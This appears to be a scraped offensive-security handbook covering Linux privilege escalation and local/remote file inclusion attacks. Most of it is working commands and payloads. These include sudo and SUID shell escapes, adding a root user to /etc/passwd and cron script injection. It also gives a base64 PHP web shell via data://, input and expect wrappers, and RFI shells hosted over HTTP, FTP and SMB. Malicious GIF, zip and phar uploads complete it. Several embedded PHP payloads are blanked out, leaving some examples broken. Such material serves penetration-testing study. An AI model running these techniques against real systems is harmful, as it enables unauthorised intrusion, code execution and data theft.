# Attacks
Source: https://hackbook.dudji.com/attacks/index
Vulnerability-first thinking — attack techniques organized by type and target.
The Attacks section documents specific offensive techniques, organized by attack category. Each entry covers the **concept, conditions, exploitation method, and mitigation** for reference.
Web application attacks — LFI, SQLi, XSS, SSRF, and more.
Linux and Windows privilege escalation techniques.
# Privilege Escalation
Source: https://hackbook.dudji.com/attacks/privilege-escalation/index
Escalate from low-privilege user to root or SYSTEM.
Privilege escalation involves exploiting misconfigurations, vulnerabilities, or weak permissions to **elevate access** from a limited user to a privileged one.
SUID, sudo misconfigs, cron jobs, capabilities, and kernel exploits.
Token impersonation, service exploits, registry, and AlwaysInstallElevated.
# Linux Privilege Escalation
Source: https://hackbook.dudji.com/attacks/privilege-escalation/linux
Common Linux privilege escalation techniques — from enumeration to root.
## Automated Enumeration
Always run an automated script first to get a lay of the land.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# LinPEAS - comprehensive enum
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# LinEnum
./LinEnum.sh
# linux-smart-enumeration
./lse.sh -l 2
```
## Sudo Misconfigurations
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Check sudo permissions
sudo -l
# If a binary is listed → check GTFOBins
# Example: sudo find
sudo find . -exec /bin/sh \; -quit
# sudo vim → :!/bin/bash
# sudo python → import os; os.system('/bin/bash')
```
## SUID Binaries
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Find SUID binaries
find / -perm -4000 -type f 2>/dev/null
# Check against GTFOBins
# Example: /usr/bin/find with SUID
find . -exec /bin/sh -p \; -quit
```
## Cron Jobs
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# View cron jobs
cat /etc/crontab
ls -la /etc/cron.*
crontab -l
# Look for writable scripts run by root
# If /etc/cron.d/backup runs /opt/backup.sh → overwrite it
echo "chmod +s /bin/bash" >> /opt/backup.sh
# Wait for cron to run, then:
bash -p
```
## Writable /etc/passwd
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Generate password hash
openssl passwd -1 -salt abc password123
# Append new root user
echo 'hacker:$1$abc$HASH:0:0:root:/root:/bin/bash' >> /etc/passwd
su hacker
```
## Capabilities
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Find binaries with capabilities
getcap -r / 2>/dev/null
# Example: python3 with cap_setuid
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
```
## Kernel Exploits
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Get kernel version
uname -a
cat /proc/version
# Search for exploits
searchsploit linux kernel 4.4
# Common: DirtyCow (CVE-2016-5195)
# Common: PwnKit (CVE-2021-4034)
```
Always try manual vectors before jumping to kernel exploits — they can crash the system.
# Web Attacks
Source: https://hackbook.dudji.com/attacks/web/index
Web application attack techniques — vulnerability-first thinking.
Exploit LFI to read sensitive files, achieve RCE via log poisoning, and
more.
Classic and blind SQLi — from data extraction to OS command execution.
CMS fingerprinting, WPScan workflows, plugin abuse, and common attack paths.
# Local File Inclusion
Source: https://hackbook.dudji.com/attacks/web/local-file-inclusion
Exploit LFI vulnerabilities to read files, leak credentials, and achieve remote code execution.
The most common place we usually find LFI is in templating engines. In order to have most of the web application looking the same when navigating between pages, a templating engine displays a page that shows the common static parts, such as the header, navigation bar, and footer, and then dynamically loads other content that changes between pages.
This is why we often see a parameter like `/index.php?page=about`, where `index.php` sets static content (e.g. header/footer), and then only pulls the dynamic content specified in the parameter, which in this case may be read from a file called `about.php`. As we have control over the `about` portion of the request, it may be possible to have the web application grab other files and display them on the page.
## Vulnerable Code
File Inclusion vulnerabilities can occur in many of the most popular web servers and development frameworks, like PHP, NodeJS, Java, .Net, and many others. Each of them has a slightly different approach to including local files, but they all share one common thing: loading a file from a specified path.
### PHP
In PHP, we may use the `include()` function to load a local or a remote file as we load a page.
If the path passed to the `include()` is taken from a user-controlled parameter, like a GET parameter, and the code does not explicitly filter and sanitize the user input, then the code becomes vulnerable to File Inclusion. The following code snippet shows an example of that:
```php theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
if (isset($_GET['language'])) {
include($_GET['language']);
}
```
There are many other PHP functions that would lead to the same vulnerability if we had control over the path passed into them. Such functions include `include_once()`, `require()`, `require_once()`, `file_get_contents()`, and several others as well.
### NodeJS
The following is a basic example of how a GET parameter `language` is used to control what data is written to a page:
```javascript theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
if(req.query.language) {
fs.readFile(path.join(__dirname, req.query.language), function (err, data) {
res.write(data);
});
}
```
As we can see, whatever parameter passed from the URL gets used by the `readfile` function, which then writes the file content in the HTTP response.
Another example is the `render()` function in the Express.js framework. The following example shows how the `language` parameter is used to determine which directory to pull the `about.html` page from:
```javascript theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
app.get("/about/:language", function(req, res) {
res.render(`/${req.params.language}/about.html`);
});
```
Unlike our earlier examples where GET parameters were specified after a `?` character in the URL, the above example takes the parameter from the URL path (e.g. `/about/en` or `/about/es`). As the parameter is directly used within the `render()` function to specify the rendered file, we can change the URL to show a different file instead.
### Java
The following examples show how web applications for a Java web server may include local files based on the specified parameter, using the `include` function:
```java theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
```
The `import` function may also be used to render a local file or a URL, such as the following example:
```java theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
```
### .NET
The `Response.WriteFile` function works very similarly to all of our earlier examples, as it takes a file path for its input and writes its content to the response. The path may be retrieved from a GET parameter for dynamic content loading, as follows:
```asp theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
@if (!string.IsNullOrEmpty(HttpContext.Request.Query['language'])) {
<% Response.WriteFile("<% HttpContext.Request.Query['language'] %>"); %>
}
```
Furthermore, the `@Html.Partial()` function may also be used to render the specified file as part of the front-end template, similarly to what we saw earlier:
```asp theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
@Html.Partial(HttpContext.Request.Query['language'])
```
Finally, the `include` function may be used to render local files or remote URLs, and may also execute the specified files as well:
```asp theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
```
### Read vs Execute
From all of the above examples, we can see that File Inclusion vulnerabilities may occur in any web server and any development frameworks, as all of them provide functionalities for loading dynamic content and handling front-end templates.
The most important thing to keep in mind is that some of the above functions only read the content of the specified files, while others also execute the specified files. Furthermore, some of them allow specifying remote URLs, while others only work with files local to the back-end server.
The following table shows which functions may execute files and which only read file content:
| Function | Read Content | Execute | Remote URL |
| ------------------------------ | ------------ | ------- | ---------- |
| **PHP** | | | |
| `include()` / `include_once()` | ✓ | ✓ | ✓ |
| `require()` / `require_once()` | ✓ | ✓ | ✗ |
| `file_get_contents()` | ✓ | ✗ | ✓ |
| `fopen()` / `file()` | ✓ | ✗ | ✗ |
| **NodeJS** | | | |
| `fs.readFile()` | ✓ | ✗ | ✗ |
| `fs.sendFile()` | ✓ | ✗ | ✗ |
| `res.render()` | ✓ | ✓ | ✗ |
| **Java** | | | |
| `include` | ✓ | ✗ | ✗ |
| `import` | ✓ | ✓ | ✓ |
| **.NET** | | | |
| `@Html.Partial()` | ✓ | ✗ | ✗ |
| `@Html.RemotePartial()` | ✓ | ✗ | ✓ |
| `Response.WriteFile()` | ✓ | ✗ | ✗ |
| `include` | ✓ | ✓ | ✓ |
## Path Traversal
In the earlier example, we read a file by specifying its absolute path (e.g. `/etc/passwd`). This would work if the whole input was used within the `include()` function without any additions, like the following example:
```php theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
include($_GET['language']);
```
In this case, if we try to read `/etc/passwd`, then the `include()` function would fetch that file directly. However, in many occasions, web developers may append or prepend a string to the `language` parameter. For example, the language parameter may be used for the filename, and may be added after a directory, as follows:
```php theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
include("./languages/" . $_GET['language']);
```
In this case, if we attempt to read `/etc/passwd`, then the path passed to `include()` would be `(./languages//etc/passwd)`, and as this file does not exist, we will not be able to read anything:
We can easily bypass this restriction by traversing directories using relative paths. So, we can use this trick to go back several directories until we reach the root path (i.e. `/`), and then specify our absolute file path (e.g. `../../../../etc/passwd`), and the file should exist.
### Filename Prefix
On some occasions, our input may be appended after a different string. For example, it may be used with a prefix to get the full filename, like the following example:
```php theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
include("lang_" . $_GET['language']);
```
In this case, if we try to traverse the directory with `../../../etc/passwd`, the final string would be `lang_../../../etc/passwd`, which is invalid.
As expected, the error tells us that this file does not exist. So, instead of directly using path traversal, we can prefix a `/` before our payload, and this should consider the prefix as a directory. This may not always work, as in this example a directory named `lang_/` may not exist, so our relative path may not be correct.
### Appended Extensions
Another very common example is when an extension is appended to the `language` parameter, as follows:
```php theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
include($_GET['language'] . ".php");
```
This may also be safer as it may restrict us to only including PHP files. In this case, if we try to read `/etc/passwd`, then the file included would be `/etc/passwd.php`, which does not exist.
With modern versions of PHP, we may not be able to bypass this and will be restricted to only reading files in that extension, which may still be useful e.g. for reading source code.
There are a couple of other techniques we may use, but they are obsolete with modern versions of PHP and only work with PHP versions before 5.3/5.4. However, it may still be beneficial to mention them, as some web applications may still be running on older servers, and these techniques may be the only bypasses possible.
#### Path Truncation
In earlier versions of PHP, defined strings have a maximum length of 4096 characters, likely due to the limitation of 32-bit systems. If a longer string is passed, it will simply be truncated, and any characters after the maximum length will be ignored.
Furthermore, PHP also used to remove trailing slashes and single dots in path names, so if we call `(/etc/passwd/.)` then the `/.` would also be truncated, and PHP would call `(/etc/passwd)`. PHP, and Linux systems in general, also disregard multiple slashes in the path (e.g. `////etc/passwd` is the same as `/etc/passwd`). Similarly, a current directory shortcut (`.`) in the middle of the path would also be disregarded (e.g. `/etc/./passwd`).
If we combine both of these PHP limitations together, we can create very long strings that evaluate to a correct path. Whenever we reach the 4096 character limitation, the appended extension (`.php`) would be truncated, and we would have a path without an appended extension. Finally, it is also important to note that we would also need to start the path with a non-existing directory for this technique to work.
An example of such payload would be the following:
```
?language=non_existing_directory/../../../etc/passwd/./././././ [REPEATED ~2048 times]
```
Of course, we don't have to manually type `./` 2048 times (total of 4096 characters), but we can automate the creation of this string with the following command:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Dudji@htb[/htb]$ echo -n "non_existing_directory/../../../etc/passwd/" && for i in {1..2048}; do echo -n "./"; done
non_existing_directory/../../../etc/passwd/./././././././
```
#### Null Bytes
PHP versions before 5.5 were vulnerable to null byte injection, which means that adding a null byte (`%00`) at the end of the string would terminate the string and not consider anything after it. This is due to how strings are stored in low-level memory, where strings in memory must use a null byte to indicate the end of the string, as seen in Assembly, C, or C++ languages.
To exploit this vulnerability, we can end our payload with a null byte (e.g. `/etc/passwd%00`), such that the final path passed to `include()` would be `(/etc/passwd%00.php)`. This way, even though `.php` is appended to our string, anything after the null byte would be truncated, and so the path used would actually be `/etc/passwd`, leading us to bypass the appended extension.
## Second-Order Attacks
Another common, and a little bit more advanced, LFI attack is a Second Order Attack.
For example, a web application may allow us to download our avatar through a URL like `(/profile/$username/avatar.png)`. If we craft a malicious LFI username (e.g. `../../../etc/passwd`), then it may be possible to change the file being pulled to another local file on the server and grab it instead of our avatar.
## Basic Bypasses
### Non-Recursive Path Traversal Filters
One of the most basic filters against LFI is a search and replace filter, where it simply deletes substrings of `(../)` to avoid path traversals. For example:
```php theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
$language = str_replace('../', '', $_GET['language']);
```
The above code is supposed to prevent path traversal, and hence renders LFI useless.
We see that all `../` substrings were removed, which resulted in a final path being `./languages/etc/passwd`. However, this filter is very insecure, as it is not recursively removing the `../` substring, as it runs a single time on the input string and does not apply the filter on the output string. For example, if we use `....//` as our payload, then the filter would remove `../` and the output string would be `../`, which means we may still perform path traversal.
The `....//` substring is not the only bypass we can use, as we may use `..././` or `....\/` and several other recursive LFI payloads. Furthermore, in some cases, escaping the forward slash character may also work to avoid path traversal filters (e.g. `....\/`), or adding extra forward slashes (e.g. `....////`)
### Encoding
Some web filters may prevent input filters that include certain LFI-related characters, like a dot `.` or a slash `/` used for path traversals. However, some of these filters may be bypassed by URL encoding our input, such that it would no longer include these bad characters, but would still be decoded back to our path traversal string once it reaches the vulnerable function. Core PHP filters on versions 5.3.4 and earlier were specifically vulnerable to this bypass, but even on newer versions we may find custom filters that may be bypassed through URL encoding.
If the target web application did not allow `.` and `/` in our input, we can URL encode `../` into `%2e%2e%2f`, which may bypass the filter. To do so, we can use any online URL encoder utility or use the Burp Suite Decoder tool, as follows:
Furthermore, we may also use Burp Decoder to encode the encoded string once again to have a double encoded string, which may also bypass other types of filters.
### Approved Paths
Some web applications may also use Regular Expressions to ensure that the file being included is under a specific path. For example, the web application we have been dealing with may only accept paths that are under the `./languages` directory, as follows:
```php theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
if(preg_match('/^\.\/languages\/.+$/', $_GET['language'])) {
include($_GET['language']);
} else {
echo 'Illegal path specified!';
}
```
This regex means:
* `^` = start of the string
* `\.\/languages\/` = literally `./languages/`
* `.+` = at least one character after that
* `$` = end of the string
So the app is saying: *"I will only include files whose path starts with `./languages/`."*
Example "legit" inputs:
```
./languages/en.php
./languages/fr.php
```
If you give `/etc/passwd` it fails because it doesn't start with `./languages/`.
## PHP Filters
If we identify an LFI vulnerability in PHP web applications, then we can utilize different PHP Wrappers to be able to extend our LFI exploitation, and even potentially reach remote code execution.
PHP Wrappers allow us to access different I/O streams at the application level, like standard input/output, file descriptors, and memory streams. This is not only beneficial with LFI attacks, but also with other web attacks like XXE.
### Input Filters
PHP Filters are a type of PHP wrapper, where we can pass different types of input and have it filtered by the filter we specify. To use PHP wrapper streams, we can use the `php://` scheme in our string, and we can access the PHP filter wrapper with `php://filter/`.
The filter wrapper has several parameters, but the main ones we require for our attack are `resource` and `read`. The `resource` parameter is required for filter wrappers, and with it we can specify the stream we would like to apply the filter on (e.g. a local file), while the `read` parameter can apply different filters on the input resource, so we can use it to specify which filter we want to apply on our resource.
There are four different types of filters available for use, which are String Filters, Conversion Filters, Compression Filters, and Encryption Filters. The filter that is useful for LFI attacks is the `convert.base64-encode` filter, under Conversion Filters.
#### Fuzzing for PHP Files
The first step would be to fuzz for different available PHP pages with a tool like `ffuf` or `gobuster`.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Dudji@htb[/htb]$ ffuf -w /opt/useful/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://:/FUZZ.php
...SNIP...
index [Status: 200, Size: 2652, Words: 690, Lines: 64]
config [Status: 302, Size: 0, Words: 1, Lines: 1]
```
#### Standard PHP Inclusion
If you tried to include any php files through LFI, you would have noticed that the included PHP file gets executed, and eventually gets rendered as a normal HTML page. For example, let's try to include the `config.php` page (`.php` extension appended by web application):
As we can see, we get an empty result in place of our LFI string, since the `config.php` most likely only sets up the web app configuration and does not render any HTML output.
This is where the base64 php filter gets useful, as we can use it to base64 encode the php file, and then we would get the encoded source code instead of having it being executed and rendered.
### Source Code Disclosure
Let's try to read the source code of `config.php` using the base64 filter, by specifying `convert.base64-encode` for the `read` parameter and `config` for the `resource` parameter, as follows:
```
php://filter/read=convert.base64-encode/resource=config
```
We intentionally left the resource file at the end of our string, as the `.php` extension is automatically appended to the end of our input string, which would make the resource we specified be `config.php`.
We can now decode this string to get the content of the source code of `config.php`, as follows:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Dudji@htb[/htb]$ echo 'PD9waHAK...SNIP...KICB9Ciov' | base64 -d
...SNIP...
if ($_SERVER['REQUEST_METHOD'] == 'GET' && realpath(__FILE__) == realpath($_SERVER['SCRIPT_FILENAME'])) {
header('HTTP/1.0 403 Forbidden', TRUE, 403);
die(header('location: /index.php'));
}
...SNIP...
```
## PHP Wrappers
We will utilize different PHP Wrappers to gain remote code execution.
### Data
The data wrapper can be used to include external data, including PHP code. However, the data wrapper is only available to use if the `(allow_url_include)` setting is enabled in the PHP configurations. So, let's first confirm whether this setting is enabled, by reading the PHP configuration file through the LFI vulnerability.
#### Checking PHP Configurations
To do so, we can include the PHP configuration file found at `(/etc/php/X.Y/apache2/php.ini)` for Apache or at `(/etc/php/X.Y/fpm/php.ini)` for Nginx, where X.Y is your install PHP version.
We can start with the latest PHP version, and try earlier versions if we couldn't locate the configuration file. We will also use the base64 filter we used in the previous section, as `.ini` files are similar to `.php` files and should be encoded to avoid breaking.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Dudji@htb[/htb]$ curl "http://:/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"
...SNIP...
```
Once we have the base64 encoded string, we can decode it and grep for `allow_url_include` to see its value:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Dudji@htb[/htb]$ echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep allow_url_include
allow_url_include = On
```
We see that we have this option enabled, so we can use the data wrapper. Knowing how to check for the `allow_url_include` option can be very important, as this option is not enabled by default, and is required for several other LFI attacks, like using the input wrapper or for any RFI attack.
**Remote Code Execution**
With `allow_url_include` enabled, we can proceed with our data wrapper attack. We can also pass it base64 encoded strings with `text/plain;base64`, and it has the ability to decode them and execute the PHP code.
So, our first step would be to base64 encode a basic PHP web shell, as follows:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Dudji@htb[/htb]$ echo '' | base64
PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg==
```
Now, we can URL encode the base64 string, and then pass it to the data wrapper with `data://text/plain;base64,`. Finally, we can use pass commands to the web shell with `&cmd=`:
```
http://:/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id
```
We may also use cURL for the same attack, as follows:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Dudji@htb[/htb]$ curl -s 'http://:/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id' | grep uid
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
### Input
Similar to the data wrapper, the input wrapper can be used to include external input and execute PHP code. The difference between it and the data wrapper is that we pass our input to the input wrapper as a POST request's data. So, the vulnerable parameter must accept POST requests for this attack to work. Finally, the input wrapper also depends on the `allow_url_include` setting, as mentioned earlier.
To repeat our earlier attack but with the input wrapper, we can send a POST request to the vulnerable URL and add our web shell as POST data. To execute a command, we would pass it as a GET parameter, as we did in our previous attack:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Dudji@htb[/htb]$ curl -s -X POST --data '' "http://:/index.php?language=php://input&cmd=id" | grep uid
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
To pass our command as a GET request, we need the vulnerable function to also accept GET request (i.e. use `$_REQUEST`). If it only accepts POST requests, then we can put our command directly in our PHP code, instead of a dynamic web shell (e.g. ``)
### Expect
Finally, we may utilize the expect wrapper, which allows us to directly run commands through URL streams. Expect works very similarly to the web shells we've used earlier, but don't need to provide a web shell, as it is designed to execute commands.
However, expect is an external wrapper, so it needs to be manually installed and enabled on the back-end server, though some web apps rely on it for their core functionality, so we may find it in specific cases. We can check whether it is configured to load on the back-end server just like we did with `allow_url_include` earlier, but we'd grep for `expect` instead:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Dudji@htb[/htb]$ echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep expect
extension=expect
```
As we can see, the `extension=expect` directive is present in the configuration, which indicates the server is configured to attempt to load the expect extension. However, this doesn't guarantee the extension is actually functional at runtime, as it could fail to load due to a multitude of reasons.
Therefore, to confirm that it is actually available, we need to test it directly by attempting command execution using the `expect://` wrapper and then passing the command we want to execute, as follows:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Dudji@htb[/htb]$ curl -s "http://:/index.php?language=expect://id" | grep uid
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
## Remote File Inclusion (RFI)
So far, we have been mainly focusing on Local File Inclusion (LFI). However, in some cases, we may also be able to include remote files "Remote File Inclusion (RFI)", if the vulnerable function allows the inclusion of remote URLs. This allows two main benefits:
* Enumerating local-only ports and web applications (i.e. SSRF)
* Gaining remote code execution by including a malicious script that we host
We will cover how to gain remote code execution through RFI vulnerabilities. The Server-side Attacks module covers various SSRF techniques, which may also be used with RFI vulnerabilities.
### Local vs. Remote File Inclusion
If we refer to the table, we see that the following are some of the functions that (if vulnerable) would allow RFI:
| Function | Read Content | Execute | Remote URL |
| ------------------------------ | ------------ | ------- | ---------- |
| **PHP** | | | |
| `include()` / `include_once()` | ✓ | ✓ | ✓ |
| `file_get_contents()` | ✓ | ✗ | ✓ |
| **Java** | | | |
| `import` | ✓ | ✓ | ✓ |
| **.NET** | | | |
| `@Html.RemotePartial()` | ✓ | ✗ | ✓ |
| `include` | ✓ | ✓ | ✓ |
As we can see, almost any RFI vulnerability is also an LFI vulnerability, as any function that allows including remote URLs usually also allows including local ones. However, an LFI may not necessarily be an RFI. This is primarily because of three reasons:
1. The vulnerable function may not allow including remote URLs
2. You may only control a portion of the filename and not the entire protocol wrapper (ex: `http://`, `ftp://`, `https://`)
3. The configuration may prevent RFI altogether, as most modern web servers disable including remote files by default
Furthermore, some functions do allow including remote URLs but do not allow code execution. In this case, we would still be able to exploit the vulnerability to enumerate local ports and web applications through SSRF.
### Verify RFI
Any remote URL inclusion in PHP would require the `allow_url_include` setting to be enabled. We can check whether this setting is enabled through LFI, as we did in the previous section:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Dudji@htb[/htb]$ echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep allow_url_include
allow_url_include = On
```
However, this may not always be reliable, as even if this setting is enabled, the vulnerable function may not allow remote URL inclusion to begin with. So, a more reliable way to determine whether an LFI vulnerability is also vulnerable to RFI is to try and include a URL, and see if we can get its content.
At first, we should always start by trying to include a local URL to ensure our attempt does not get blocked by a firewall or other security measures. So, let's use `(http://127.0.0.1:80/index.php)` as our input string and see if it gets included:
The page is indeed vulnerable to RFI, as we are able to include URLs. Furthermore, the `index.php` page did not get included as source code text but got executed and rendered as PHP, so the vulnerable function also allows PHP execution, which may allow us to execute code if we include a malicious PHP script that we host on our machine.
We also see that we were able to specify port 80 and get the web application on that port. If the back-end server hosted any other local web applications (e.g. port 8080), then we may be able to access them through the RFI vulnerability by applying SSRF techniques on it.
It may not be ideal to include the vulnerable page itself (i.e. index.php), as this may cause a recursive inclusion loop and cause a DoS to the back-end server.
### Remote Code Execution with RFI
We can use a custom web shell we download from the internet, use a reverse shell script, or write our own basic web shell as we did in the previous section, which is what we will do in this case:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Dudji@htb[/htb]$ echo '' > shell.php
```
Now, all we need to do is host this script and include it through the RFI vulnerability. It is a good idea to listen on a common HTTP port like 80 or 443, as these ports may be whitelisted in case the vulnerable web application has a firewall preventing outgoing connections. Furthermore, we may host the script through an FTP service or an SMB service, as we will see next.
#### HTTP
Now, we can start a server on our machine with a basic python server with the following command, as follows:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Dudji@htb[/htb]$ sudo python3 -m http.server
Serving HTTP on 0.0.0.0 port (http://0.0.0.0:/) ...
```
Now, we can include our local shell through RFI, like we did earlier, but using `` and our ``. We will also specify the command to be executed with `&cmd=id`:
```
http://:/index.php?language=http://:/shell.php&cmd=id
```
As we can see, we did get a connection on our python server, and the remote shell was included, and we executed the specified command. We can examine the connection on our machine to ensure the request is being sent as we specified it. For example, if we saw an extra extension (`.php`) was appended to the request, then we can omit it from our payload.
#### FTP
As mentioned earlier, we may also host our script through the FTP protocol. We can start a basic FTP server with Python's pyftpdlib, as follows:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Dudji@htb[/htb]$ sudo python -m pyftpdlib -p 21
[SNIP] >>> starting FTP server on 0.0.0.0:21, pid=23686 <<<
[SNIP] concurrency model: async
[SNIP] masquerade (NAT) address: None
[SNIP] passive ports: None
```
This may also be useful in case http ports are blocked by a firewall or the `http://` string gets blocked by a WAF. To include our script, we can repeat what we did earlier, but use the `ftp://` scheme in the URL, as follows:
```
http://:/index.php?language=ftp:///shell.php&cmd=id
```
This worked very similarly to our http attack, and the command was executed. By default, PHP tries to authenticate as an anonymous user. If the server requires valid authentication, then the credentials can be specified in the URL, as follows:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Dudji@htb[/htb]$ curl 'http://:/index.php?language=ftp://user:pass@localhost/shell.php&cmd=id'
...SNIP...
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
#### SMB
If the vulnerable web application is hosted on a Windows server (which we can tell from the server version in the HTTP response headers), then we do not need the `allow_url_include` setting to be enabled for RFI exploitation, as we can utilize the SMB protocol for the remote file inclusion. This is because Windows treats files on remote SMB servers as normal files, which can be referenced directly with a UNC path.
We can spin up an SMB server using Impacket's `smbserver.py`, which allows anonymous authentication by default, as follows:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Dudji@htb[/htb]$ impacket-smbserver -smb2support share $(pwd)
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
```
Now, we can include our script by using a UNC path (e.g. `\\\share\shell.php`), and specify the command with `(&cmd=whoami)` as we did earlier:
```
http://:/index.php?language=\\\share\shell.php&cmd=whoami
```
As we can see, this attack works in including our remote script, and we do not need any non-default settings to be enabled.
This technique is more likely to work if we were on the same network, as accessing remote SMB servers over the internet may be disabled by default, depending on the Windows server configurations.
## LFI and File Uploads
The File Upload Attacks module covers different techniques on how to exploit file upload forms and functionalities. However, for the attack we are going to discuss in this section, we do not require the file upload form to be vulnerable, but merely allow us to upload files.
If the vulnerable function has code Execute capabilities, then the code within the file we upload will get executed if we include it, regardless of the file extension or file type. For example, we can upload an image file (e.g. `image.jpg`), and store a PHP web shell code within it instead of image data, and if we include it through the LFI vulnerability, the PHP code will get executed and we will have remote code execution.
As mentioned in the first section, the following are the functions that allow executing code with file inclusion, any of which would work with this section's attacks:
| Function | Read Content | Execute | Remote URL |
| ------------------------------ | ------------ | ------- | ---------- |
| **PHP** | | | |
| `include()` / `include_once()` | ✓ | ✓ | ✓ |
| `require()` / `require_once()` | ✓ | ✓ | ✗ |
| **NodeJS** | | | |
| `res.render()` | ✓ | ✓ | ✗ |
| **Java** | | | |
| `import` | ✓ | ✓ | ✓ |
| **.NET** | | | |
| `include` | ✓ | ✓ | ✓ |
### Crafting Malicious Image
Our first step is to create a malicious image containing a PHP web shell code that still looks and works as an image.
So, we will use an allowed image extension in our file name (e.g. `shell.gif`), and should also include the image magic bytes at the beginning of the file content (e.g. `GIF8`), just in case the upload form checks for both the extension and content type as well. We can do so as follows:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Dudji@htb[/htb]$ echo 'GIF8' > shell.gif
```
This file on its own is completely harmless and would not affect normal web applications in the slightest. However, if we combine it with an LFI vulnerability, then we may be able to reach remote code execution.
Now, we need to upload our malicious image file. To do so, we can go to the Profile Settings page and click on the avatar image to select our image, and then click on upload and our image should get successfully uploaded:
### Uploaded File Path
Once we've uploaded our file, all we need to do is include it through the LFI vulnerability. To include the uploaded file, we need to know the path to our uploaded file. In most cases, especially with images, we would get access to our uploaded file and can get its path from its URL. In our case, if we inspect the source code after uploading the image, we can get its URL:
```html theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
```
With the uploaded file path at hand, all we need to do is to include the uploaded file in the LFI vulnerable function, and the PHP code should get executed, as follows:
```
http://:/index.php?language=./profile_images/shell.gif&cmd=id
```
### Zip Upload
We can utilize the zip wrapper to execute PHP code. However, this wrapper isn't enabled by default, so this method may not always work. To do so, we can start by creating a PHP web shell script and zipping it into a zip archive (named `shell.jpg`), as follows:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Dudji@htb[/htb]$ echo '' > shell.php && zip shell.jpg shell.php
```
Even though we named our zip archive as `(shell.jpg)`, some upload forms may still detect our file as a zip archive through content-type tests and disallow its upload, so this attack has a higher chance of working if the upload of zip archives is allowed.
Once we upload the `shell.jpg` archive, we can include it with the zip wrapper as `(zip://shell.jpg)`, and then refer to any files within it with `#shell.php` (URL encoded). Finally, we can execute commands as we always do with `&cmd=id`, as follows:
```
http://:/index.php?language=zip://./profile_images/shell.jpg%23shell.php&cmd=id
```
As we can see, this method also works in executing commands through zipped PHP scripts.
### Phar Upload
Finally, we can use the `phar://` wrapper to achieve a similar result. To do so, we will first write the following PHP script into a `shell.php` file:
```php theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
startBuffering();
$phar->addFromString('shell.txt', '');
$phar->setStub('');
$phar->stopBuffering();
```
This script can be compiled into a phar file that when called would write a web shell to a `shell.txt` sub-file, which we can interact with. We can compile it into a phar file and rename it to `shell.jpg` as follows:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Dudji@htb[/htb]$ php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg
```
